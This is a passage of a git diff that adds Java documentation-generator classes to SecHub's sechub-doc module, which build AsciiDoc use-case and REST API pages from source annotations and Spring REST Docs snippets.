|Row3B |Row3C + // |=== + + public String generateAsciidoc(UseCaseModel model) { + Context context = new Context(); + int h = 3; + context.addLine("[[section-usecases]]"); + context.addLine(headline(h++) + "Use cases"); + context.addLine(""); + context.addLine("ifdef::techdoc[]"); + context.addLine( + "TIP: The complete documentation about use cases is generated. If you want to change content, please search for "); + context.addLine(" `@UseCaseDefinition` references in source code and make necessary changes inside code!"); + context.addLine("endif::techdoc[]"); + context.addLine(""); + generateOverview(model, context, h); + generateDetails(model, context, h); + + return context.getAsciiDoc(); + } + + private void generateDetails(UseCaseModel model, Context context, int h) { + for (UseCaseEntry entry : model.getUseCases()) { + generateUseCase(context, h, entry); + } + } + + private void generateOverview(UseCaseModel model, Context context, int h) { + context.addLine(headline(h) + "Overview about usecase groups"); + for (UseCaseGroup group : UseCaseGroup.values()) { + context.addLine(headline(h + 1) + group.getTitle()); + context.addLine(group.getDescription()); + context.addLine(""); + SortedSet entries = model.getUseCasesInsideGroup(group); + for (UseCaseEntry entry : entries) { + context.addLine("- <<" + UseCaseAsciiDocFactory.createLinkId(entry) + "," + entry.getId() + "-" + + entry.getTitle() + ">>\n"); + } + context.addLine(""); + } + } + + private void generateUseCase(Context context, int h, UseCaseEntry entry) { + context.addLine(UseCaseAsciiDocFactory.createAnker(entry)); + context.addLine(headline(h) + entry.getId() + "-" + entry.getTitle()); + context.addLine(entry.getDescription()); + context.addLine(""); + + context.addLine("ifdef::techdoc[]"); + context.addLine("*Technical information*"); + context.addLine(""); + context.addLine("You will find relevant code parts by searching for references of `@" + + entry.getAnnotationName() + "`"); + context.addLine(""); + context.addLine("endif::techdoc[]"); + + context.addLine("*Steps*"); + generateUseCaseStepsTable(context, entry); + generateLinkToRestAPIDoc(context, entry); + } + + private void generateLinkToRestAPIDoc(Context context, UseCaseEntry entry) { + if (entry.getRestDocEntries().isEmpty()) { + return; + } + UseCaseRestDocEntry docEntry = entry.getRestDocEntries().iterator().next(); + context.addLine("ifdef::techdoc[]"); + context.addLine(UseCaseAsciiDocFactory.createLinkToUseCaseRestDoc(docEntry) + "\n"); + context.addLine("endif::techdoc[]"); + } + + private void generateUseCaseStepsTable(Context context, UseCaseEntry entry) { + context.addLine("[options=\"header\",cols=\"5,20,20,5,50\"]"); + context.addLine("|==="); + context.addLine("|Nr |Title |Role(s)|Next|Description"); + context.addLine("//----------------------"); + generateUseCaseStepsTableEntries(context, entry); + context.addLine("|==="); + context.addLine(""); + } + + private void generateUseCaseStepsTableEntries(Context context, UseCaseEntry entry) { + List steps = entry.getSteps(); + Collections.sort(steps); + Collections.reverse(steps); + + StringBuilder rows = new StringBuilder(); + int lastStep = 0; + for (UseCaseEntryStep step : steps) { + StringBuilder sb = new StringBuilder(); + + sb.append("|"); + sb.append(step.getNumber()); /* nr */ + sb.append("|"); + sb.append(step.getTitle()); /* title */ + sb.append("|"); + sb.append(createRolesString(step)); /* roles */ + sb.append("|"); + sb.append(createNextStep(lastStep, step)); /* next */ + sb.append("|"); + sb.append(step.getDescription()); /* description */ + sb.append("\n"); + sb.append("\n"); + sb.append("ifdef::techdoc[]\n"); + sb.append("__This step is defined at " + step.getLocation() + "__"); + sb.append("\n"); + sb.append("endif::techdoc[]"); + sb.append("\n"); + String row = sb.toString(); + rows.insert(0, row); + + lastStep = step.getNumber(); + } + context.sb.append(rows); + } + + private String createNextStep(int lastStepNumber, UseCaseEntryStep step) { + StringBuilder visibleNext = new StringBuilder(); + int[] next = step.getNext(); + if (next.length > 0) { + int counter = 0; + for (int n : next) { + counter++; + if (n == Step.NO_NEXT_STEP) { + // means no further steps! (as described in @Step annotation ) + continue; + } + visibleNext.append(n); + if (counter < next.length) { + visibleNext.append(", "); + } + } + } else { + if (lastStepNumber > 0) { + visibleNext.append(lastStepNumber); + } + } + return visibleNext.toString(); + } + + private String createRolesString(UseCaseEntryStep step) { + StringBuilder sbx = new StringBuilder(); + Set rolesAllowed = step.getRolesAllowed(); + if (!rolesAllowed.isEmpty()) { + for (Iterator ri = rolesAllowed.iterator(); ri.hasNext();) { + String role = ri.next(); + sbx.append(role); + if (ri.hasNext()) { + sbx.append(", "); + } + } + } + return sbx.toString(); + } + + private String headline(int nr) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < nr; i++) { + sb.append("="); + } + return sb.toString() + " "; + } + + private class Context { + + StringBuilder sb = new StringBuilder(); + + void addLine(String text) { + sb.append(text).append('\n'); + } + + public String getAsciiDoc() { + return sb.toString(); + } + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java new file mode 100644 index 0000000000..abea5326bd --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import javax.annotation.security.RolesAllowed; + +import org.reflections.Reflections; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; + +/** + * Collector - inspired by + * https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationDataCollector.java + * + * @author Albert Tregnaghi + */ +public class UseCaseModelDataCollector { + + + private static final Logger LOG = LoggerFactory.getLogger(UseCaseModelDataCollector.class); + + private Reflections reflections; + + public UseCaseModelDataCollector(Reflections reflections) { + notNull(reflections, "reflections must not be null!"); + this.reflections = reflections; + } + + @SuppressWarnings("unchecked") + public UseCaseModel collect() { + if (DEBUG) { + LOG.info("start collecting"); + } + /* @formatter:off + generation is done into /src/docs/documents/gen/... + included parts are from /src/docs/documents/code2doc/... + so we use /../code2doc as path + @formatter:on */ + + UseCaseModel model = new UseCaseModel("../code2doc/usecases"); + Set> usesCaseAnnotations = reflections.getTypesAnnotatedWith(UseCaseDefinition.class); + if (DEBUG) { + LOG.info("> will collect for:{} - {}", usesCaseAnnotations.size(),usesCaseAnnotations); + } + for (Class useCaseAnnotationClazz : usesCaseAnnotations) { + collectAnnotationInfo(model, (Class) useCaseAnnotationClazz); + } + return model; + } + + private void collectAnnotationInfo(UseCaseModel model, Class useCaseAnnotationClazz) { + if (DEBUG) { + LOG.info("start collecting annotation info:{}", useCaseAnnotationClazz); + } + + Set methodsAnnotated = reflections.getMethodsAnnotatedWith(useCaseAnnotationClazz); + if (DEBUG) { + LOG.info("found methods annotated with:{} - {}", useCaseAnnotationClazz,methodsAnnotated); + } + + for (Method method : methodsAnnotated) { + List rolesAllowed = fetchAllAllowedRoles(method); + + T[] annosFound = method.getAnnotationsByType(useCaseAnnotationClazz); + if (DEBUG) { + LOG.info("inspect method:{}\n - roles found:{}\n - annos found:{}", method,rolesAllowed,annosFound); + } + for (T anno: annosFound) { + UseCaseEntry useCaseEntry = model.ensureUseCase(anno.getClass()); + try { + Method valueMethod = anno.getClass().getMethod("value"); + Object value = valueMethod.invoke(anno); + if (value instanceof Step) { + String location = "method `"+method.getName()+"` in class `"+method.getDeclaringClass().getName()+"`"; + useCaseEntry.addStep((Step)value, rolesAllowed,location); + } + } catch (Exception e) { + throw new IllegalStateException(e); + + + } + } + } + } + + private List fetchAllAllowedRoles(Method method) { + RolesAllowed rolesAllowedByMethod = method.getAnnotation(RolesAllowed.class); + RolesAllowed rolesAllowedByClass = method.getDeclaringClass().getAnnotation(RolesAllowed.class); + List rolesAllowed = new ArrayList<>(); + if (rolesAllowedByClass!=null) { + rolesAllowed.add(rolesAllowedByClass); + } + if (rolesAllowedByMethod!=null) { + rolesAllowed.add(rolesAllowedByMethod); + } + return rolesAllowed; + } + + static String createDomainPartName(Method method) { + return method.getDeclaringClass().getSimpleName(); + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocEntry.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocEntry.java new file mode 100644 index 0000000000..ccac7410f3 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocEntry.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import java.io.File; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc.SpringRestDocOutput; + +public class UseCaseRestDocEntry { + + public UseCaseEntry /*NOSONAR */usecaseEntry; + public String /*NOSONAR */variant; + public String /*NOSONAR */path; + public String /*NOSONAR */identifier; + public File /*NOSONAR */ copiedRestDocFolder; + public SpringRestDocOutput[] /*NOSONAR */ wanted; +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModel.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModel.java new file mode 100644 index 0000000000..9c8f07dd8d --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModel.java @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.TreeMap; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; + +public class UseCaseRestDocModel { + + private Map> map = new TreeMap<>(); + private UseCaseModel useCaseModel; + + public UseCaseRestDocModel(UseCaseModel useCaseModel) { + if (useCaseModel==null) { + throw new IllegalArgumentException(); + } + this.useCaseModel=useCaseModel; + } + + public UseCaseModel getUseCaseModel() { + return useCaseModel; + } + + public List getRestDocEntries(UseCaseEntry entry){ + return map.get(entry.getId()); + } + + public void add(UseCaseRestDocEntry restDocEntry) { + String key = restDocEntry.usecaseEntry.getId(); + List list = map.computeIfAbsent(key, k -> new ArrayList<>()); + list.add(restDocEntry); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java new file mode 100644 index 0000000000..3f87d548b2 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java @@ -0,0 +1,200 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Objects; +import java.util.Set; +import java.util.SortedSet; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; +import com.daimler.sechub.docgen.util.TextFileWriter; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc.SpringRestDocOutput; + +public class UseCaseRestDocModelAsciiDocGenerator { + + private TextFileWriter writer; + + // [options="header",cols="1,1,1"] + // |=== + // |HeadA |HeadB |HeadC + // //---------------------- + // |Row1A |Row1B |Row1C + // |Row2A |Row2B |Row2Cs + // |Row3A |Row3B |Row3C + // |=== + public String generateAsciidoc(TextFileWriter writer, UseCaseRestDocModel model, boolean technical, UseCaseIdentifier ... usecases) { + Objects.requireNonNull(writer); + Objects.requireNonNull(model); + + this.writer=writer; + Context context = new Context(); + for (UseCaseIdentifier identifier: usecases) { + context.usecasesToInspect.add(identifier.name()); + } + + int h = 3; + context.addLine("[[section-ucrestdoc]]"); + context.addLine(headline(h++) + "Rest API documentation"); + context.addLine(""); + context.addLine("ifdef::techdoc[]"); + context.addLine("TIP: The complete documentation about REST API is generated. If you want to change content, please search for "); + context.addLine(" `@UseCaseRestDoc` references in source code and make necessary changes inside code!"); + context.addLine(""); + context.addLine("endif::techdoc[]"); + List> found = generateOverview(model, context, h); + generateUseCaseAndRestDocDetails(context, h, found); + return context.getAsciiDoc(); + } + + private void generateUseCaseAndRestDocDetails(Context context, int h, List> found) { + Set avoidDoubleGeneration = new LinkedHashSet<>(); + for (List entries :found) { + + UseCaseRestDocEntry first = entries.iterator().next(); + if (avoidDoubleGeneration.contains(first.identifier)) { + continue; + } + avoidDoubleGeneration.add(first.identifier); + context.addLine(headline(h)+first.usecaseEntry.getTitle()); + context.addLine(UseCaseAsciiDocFactory.createAnkerUseCaseRestDoc(first.usecaseEntry)); + + context.addLine("REST API for usecase "+UseCaseAsciiDocFactory.createLinkToUseCase(first)); + + for (UseCaseRestDocEntry entry: entries) { + boolean multipleVariants = entries.size()>1; + generateDetail(context, h, entry,multipleVariants); + } + } + } + + private List> generateOverview(UseCaseRestDocModel model, Context context, int h) { + context.addLine(headline(h) + "Overview"); + List> found = new ArrayList<>(); + for (UseCaseGroup group : UseCaseGroup.values()) { + SortedSet entriesForGroup = model.getUseCaseModel().getUseCasesInsideGroup(group); + if (entriesForGroup.isEmpty()) { + continue; + } + StringBuilder linksToRestDocs = new StringBuilder(); + createEntriesForGroup(model, context, found, entriesForGroup, linksToRestDocs); + boolean foundAtLeastOneRestDocForGroup=linksToRestDocs.length()>0; + if (!foundAtLeastOneRestDocForGroup) { + continue; + } + context.addLine(headline(h + 1) + group.getTitle()); + context.addLine(group.getDescription()); + context.addLine(""); + context.addLine(linksToRestDocs.toString()); + context.addLine(""); + } + return found; + } + + private void createEntriesForGroup(UseCaseRestDocModel model, Context context, + List> found, SortedSet entriesForGroup, + StringBuilder linksToRestDocs) { + for (UseCaseEntry entry : entriesForGroup) { + if (! context.usecasesToInspect.contains(entry.getIdentifierEnumName())) { + continue; + } + entry.getIdentifierEnumName(); + List restDocEntries = model.getRestDocEntries(entry); + if (restDocEntries == null || restDocEntries.isEmpty()) { + continue; /* use case has no rest doc so ignore*/ + } + linksToRestDocs.append("- " + UseCaseAsciiDocFactory.createLinkToUseCaseRestDoc(entry, "REST API for "+entry.getId()+"-"+entry.getTitle())+"\n"); + found.add(restDocEntries); + } + } + + private void generateDetail(Context context, int h, UseCaseRestDocEntry entry, boolean multipleVariants) { + context.addLine(""); + context.addLine(UseCaseAsciiDocFactory.createAnker(entry)); + if (multipleVariants) { + if (entry.variant.equals(UseCaseRestDoc.DEFAULT_VARIANT)){ + context.addLine(headline(h+1)+ "Standard"); + }else { + context.addLine(headline(h+1)+ entry.variant); + } + + } + + File[] files = entry.copiedRestDocFolder.listFiles(); + addHeadersWhenNecessary(files); + + File[] wantedFilesOrdered = orderWantedFiles(files,entry.wanted); + + + for (File file: wantedFilesOrdered) { + context.addLine(""); + String prettyFileName = createPrettyPrintedFileName(file); + context.addLine("*"+prettyFileName+"*\n"); + context.addLine("include::"+entry.path+"/"+file.getName()+"[]"); + } + + } + + private void addHeadersWhenNecessary(File[] files) { + /* headers are automatically added by writer:*/ + for (File file: files) { + try { + writer.addMissingHeaders(file); + } catch (IOException e) { + throw new IllegalStateException("Cannot add missing headers", e); + } + } + } + + private File[] orderWantedFiles(File[] files, SpringRestDocOutput[] wanted) { + List orderedWanted = new ArrayList<>(); + for (SpringRestDocOutput want: wanted) { + for (File file:files) { + if (want.isWanted(file)){ + orderedWanted.add(file); + } + } + } + return orderedWanted.toArray(new File[orderedWanted.size()]); + } + + private String createPrettyPrintedFileName(File file) { + String prettyFileName = file.getName(); + prettyFileName=prettyFileName.substring(0, prettyFileName.length()-5);//remove ".adoc" e.g. curl-request.adoc ->curl-request + prettyFileName=prettyFileName.replaceAll("-", " "); // e.g.curl-request -> curl request + char c = prettyFileName.charAt(0); + prettyFileName= Character.toUpperCase(c)+prettyFileName.substring(1); // E.g. curl request -> Curl request + return prettyFileName; + } + + private String headline(int nr) { + StringBuilder sb = new StringBuilder(); + sb.append("\n");// always add a new line - to prevent layout problems + for (int i = 0; i < nr; i++) { + sb.append("="); + } + return sb.toString() + " "; + } + + private class Context { + + public Set usecasesToInspect = new LinkedHashSet<>(); + StringBuilder sb = new StringBuilder(); + + void addLine(String text) { + sb.append(text).append('\n'); + } + + + public String getAsciiDoc() { + return sb.toString(); + } + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java new file mode 100644 index 0000000000..5177c7d3fc --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.io.File; +import java.io.FileFilter; +import java.io.IOException; +import java.lang.annotation.Annotation; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.FileSystemUtils; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; + +/** + * Collector - inspired by + * https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationDataCollector.java + * + * @author Albert Tregnaghi + */ +public class UseCaseRestDocModelDataCollector { + + public static final String DOCUMENTS_GEN = "documents/gen/"; + + private static final Logger LOG = LoggerFactory.getLogger(UseCaseRestDocModelDataCollector.class); + + private Reflections reflections; + + List buildDirectories = new ArrayList<>(); + + private File sechHubDoc; + + public UseCaseRestDocModelDataCollector(Reflections reflections) { + notNull(reflections, "reflections must not be null!"); + this.reflections = reflections; + + fetchGradleBuildDirectories(); + + } + + private void fetchGradleBuildDirectories() { + File file = new File("sechub-doc"); + File rootFolder = null; + if (file.exists()) { + rootFolder = file.getParentFile(); + } else { + rootFolder = new File("./.."); + } + sechHubDoc = new File(rootFolder, "sechub-doc"); + if (!sechHubDoc.exists()) { + throw new IllegalStateException( + "docgen corrupt - did not found sechub-doc folder, cannot determine root folder, i am at :"+new File(".").getAbsolutePath()); + } + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + @Override + public boolean accept(File file) { + return file.isDirectory(); + } + }); + + for (File subDir : subDirs) { + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + @Override + public boolean accept(File file) { + return file.isDirectory() && file.getName().equals("build"); + } + }); + buildDirectories.addAll(Arrays.asList(foundBuildDirs)); + } + } + + public UseCaseRestDocModel collect(UseCaseModel useCaseModel) { + if (DEBUG) { + LOG.info("start collecting"); + } + UseCaseRestDocModel model = new UseCaseRestDocModel(useCaseModel); + Set annotatedMethods = reflections.getMethodsAnnotatedWith(UseCaseRestDoc.class); + if (DEBUG) { + LOG.info("> will collect for:{} - {}", annotatedMethods.size(), annotatedMethods); + } + + for (Method method : annotatedMethods) { + UseCaseRestDoc[] annos = method.getAnnotationsByType(UseCaseRestDoc.class); + if (annos.length == 0) { + continue; + } + if (annos.length > 1) { + throw new IllegalStateException("UseCaseRestDoc annotation may only added one time to test method!"); + } + UseCaseRestDoc restDoc = annos[0]; + Class useCaseClass = restDoc.useCase(); + if (DEBUG) { + LOG.info("inspect method:{}\n - usecase found:{}", method, useCaseClass); + } + UseCaseEntry useCaseEntry = useCaseModel.ensureUseCase(useCaseClass); + + /* create and prepare rest doc entry */ + UseCaseRestDocEntry restDocEntry = new UseCaseRestDocEntry(); + restDocEntry.variant = restDoc.variant(); + restDocEntry.usecaseEntry = useCaseEntry; + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + restDocEntry.identifier=RestDocPathFactory.createIdentifier(useCaseClass); + restDocEntry.path = id; + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + restDocEntry.wanted=restDoc.wanted(); + + model.add(restDocEntry); + + /* connect with usecase */ + useCaseEntry.addLinkToRestDoc(restDocEntry); + + } + return model; + } + + private File copyToDocumentationProject(File projectRestDocGenFolder, String id) { + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + try { + if (targetFolder.exists() && !FileSystemUtils.deleteRecursively(targetFolder)) { + throw new IOException("target folder exists but not deletable!"); + } + FileSystemUtils.copyRecursively(projectRestDocGenFolder, targetFolder); + return targetFolder; + } catch (IOException e) { + throw new IllegalStateException( + "copy restdoc parts not possible from:\n" + projectRestDocGenFolder + "\nto\n" + targetFolder, e); + } + } + + private File scanForSpringRestDocGenFolder(UseCaseRestDocEntry entry) { + File lastTry=null; + for (File buildDir : buildDirectories) { + File expected = new File(buildDir, "generated-snippets/" + entry.path); + if (expected.exists()) { + return expected; + } + lastTry=expected; + } + throw new IllegalStateException("No restdoc found for Usecase:"+entry.usecaseEntry.getAnnotationName()+"\nIt is annotated as @UseCaseRestDoc, but no restdoc files generated!\n" + + "Maybe you \n -forgot to do the documentation parts for the test, or\n - you did you used accidently another class when calling UseCaseRestDoc.Factory.createPath(...) ?\n\nDetails:\nNo rest doc gen folder not found for id:" + entry.path+",\nlastTry:"+ ( lastTry!=null?lastTry.getAbsolutePath():"null")); + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractor.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractor.java new file mode 100644 index 0000000000..ffb222d405 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractor.java @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +import com.daimler.sechub.docgen.DocAnnotationData; + +public class AnnotationDataLocationExtractor { + + public String extractLocation(DocAnnotationData data) { + if (data==null) { + return ""; + } + Method method = data.linkedMethod; + if (method!=null) { + return createMethodIdentifier(method); + } + Field field = data.linkedField; + if (field!=null) { + return createFieldIdentifier(field); + } + + Class clazz = data.linkedClass; + if (clazz!=null) { + return createClassIdentifier(clazz); + } + return ""; + } + + protected String createClassIdentifier(Class clazz) { + return "Class:"+ getSafeClassName(clazz); + } + + protected String createFieldIdentifier(Field method) { + return "Field:"+getSafeClassName(method.getDeclaringClass())+"."+getSafeFieldName(method); + } + + protected String createMethodIdentifier(Method method) { + return "Method:"+ getSafeClassName(method.getDeclaringClass())+"#"+getSafeMethodName(method); + } + + private String getSafeClassName(Class clazz) { + if (clazz==null) { + return "null"; + } + return clazz.getSimpleName(); + } + + private String getSafeMethodName(Method method) { + if (method==null) { + return "null"; + } + return method.getName(); + } + + private String getSafeFieldName(Field field) { + if (field==null) { + return "null"; + } + return field.getName(); + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java new file mode 100644 index 0000000000..e67f7935d8 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT + +package com.daimler.sechub.docgen.util; + +import java.util.List; + +import org.reflections.Reflections; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.MustBeDocumentedDataCollector; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel; +import com.daimler.sechub.docgen.messaging.DomainMessagingModelDataCollector; +import com.daimler.sechub.docgen.spring.MockedAdaptersSpringValueDataCollector; +import com.daimler.sechub.docgen.usecase.UseCaseModel; +import com.daimler.sechub.docgen.usecase.UseCaseModelDataCollector; +import com.daimler.sechub.docgen.usecase.UseCaseRestDocModel; +import com.daimler.sechub.docgen.usecase.UseCaseRestDocModelDataCollector; + +/** + * Collector for information àbout used annoations ins projects.
+ * Inspired by https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/ClasspathDataCollector.java + * + * @author Albert Tregnaghi + * + */ +public class ClasspathDataCollector { + + private Reflections reflections; + private MustBeDocumentedDataCollector mustbeDocumentedDataCollector; + private MockedAdaptersSpringValueDataCollector mockedAdaptersSprintValueDataCollector; + private DomainMessagingModelDataCollector domainMessagingModelDataCollector; + private UseCaseModelDataCollector useCaseModelDataCollector; + private UseCaseRestDocModelDataCollector useCaseRestDocModelDataCollector; + + public ClasspathDataCollector(){ + /* @formatter:off*/ + reflections = ReflectionsFactory.create(); + + mustbeDocumentedDataCollector = new MustBeDocumentedDataCollector(reflections); + mockedAdaptersSprintValueDataCollector = new MockedAdaptersSpringValueDataCollector(reflections); + domainMessagingModelDataCollector= new DomainMessagingModelDataCollector(reflections); + useCaseModelDataCollector = new UseCaseModelDataCollector(reflections); + useCaseRestDocModelDataCollector = new UseCaseRestDocModelDataCollector(reflections); + } + + public List fetchMustBeDocumentParts(){ + return mustbeDocumentedDataCollector.collect(); + } + + public List fetchMockAdapterSpringValueDocumentationParts(){ + return mockedAdaptersSprintValueDataCollector.collect(); + } + + public DomainMessagingModel fetchDomainMessagingModel() { + return domainMessagingModelDataCollector.collect(); + } + + public UseCaseModel fetchUseCaseModel() { + return useCaseModelDataCollector.collect(); + } + + public UseCaseRestDocModel fetchUseCaseRestDocModel(UseCaseModel model) { + return useCaseRestDocModelDataCollector.collect(model); + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java new file mode 100644 index 0000000000..56bce81817 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import java.lang.reflect.AnnotatedElement; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Scheduled; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +public class DocGeneratorUtil { + + + + private DocGeneratorUtil() { + + } + + public static DocAnnotationData buildDataForMustBeDocumented(MustBeDocumented info,AnnotatedElement element) { + DocAnnotationData data = new DocAnnotationData(); + data.scope=info.scope(); + data.isSecret=info.secret(); + data.description = info.value(); + buildSpringValueParts(data, element); + buildSpringScheduledParts(data,element); + + /* when class name shall be used... */ + if (MustBeDocumented.SCOPE_USE_DEFINED_CLASSNAME_LOWERCASED.equals(data.scope)) { + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + } + return data; + } + + public static void newLine(StringBuilder sb,String text) { + sb.append(text); + sb.append("\n"); + } + + + public static DocAnnotationData buildDataBy(Value info, AnnotatedElement element) { + DocAnnotationData data = new DocAnnotationData(); + buildSpringValueParts(data, element); + buildSpringScheduledParts(data, element); + data.description = "See "+fetchClass(element).getSimpleName()+".java"; + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + return data; + } + + static Class fetchClass(AnnotatedElement element) { + if (element instanceof Class) { + Class clazz = (Class) element; + return clazz; + }else if (element instanceof Method) { + Method method = (Method) element; + return method.getDeclaringClass(); + }else if (element instanceof Field) { + Field field = (Field) element; + return field.getDeclaringClass(); + } + /* worst case should never happen... at least do error output and return the annotation class itself*/ + /* NOSONAR */System.err.println("fetch class not possible for element:"+element+".\nFallback to element class itself!"); + return element.getClass(); + } + + /** + * Reduces string to second upper cased char - e.g. "NetsparkerInstallSetupImpl" would be replaced to "Netsparker" + * @param clazz + * @return + */ + public static String toCamelOne(Class clazz) { + StringBuilder sb = new StringBuilder(); + + String clazzName = clazz.getSimpleName(); + boolean first=true; + for (char c: clazzName.toCharArray()) { + if (first) { + first=false; + }else { + if (Character.isUpperCase(c)) { + break; + } + } + sb.append(c); + } + + return sb.toString(); + } + static void buildSpringValueParts(DocAnnotationData data, AnnotatedElement element) { + Value value = element.getDeclaredAnnotation(Value.class); + if (value==null) { + return; + } + data.springValue = value.value(); + } + + static void buildSpringScheduledParts(DocAnnotationData data, AnnotatedElement element) { + Scheduled scheduled = element.getDeclaredAnnotation(Scheduled.class); + if (scheduled==null) { + return; + } + data.springScheduled = scheduled; + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocReflectionUtil.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocReflectionUtil.java new file mode 100644 index 0000000000..152f60a50a --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocReflectionUtil.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Proxy; +import java.util.Arrays; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class DocReflectionUtil { + + + private static final Logger LOG = LoggerFactory.getLogger(DocReflectionUtil.class); + + @SuppressWarnings("unchecked") + public static Class resolveUnproxiedClass(Class 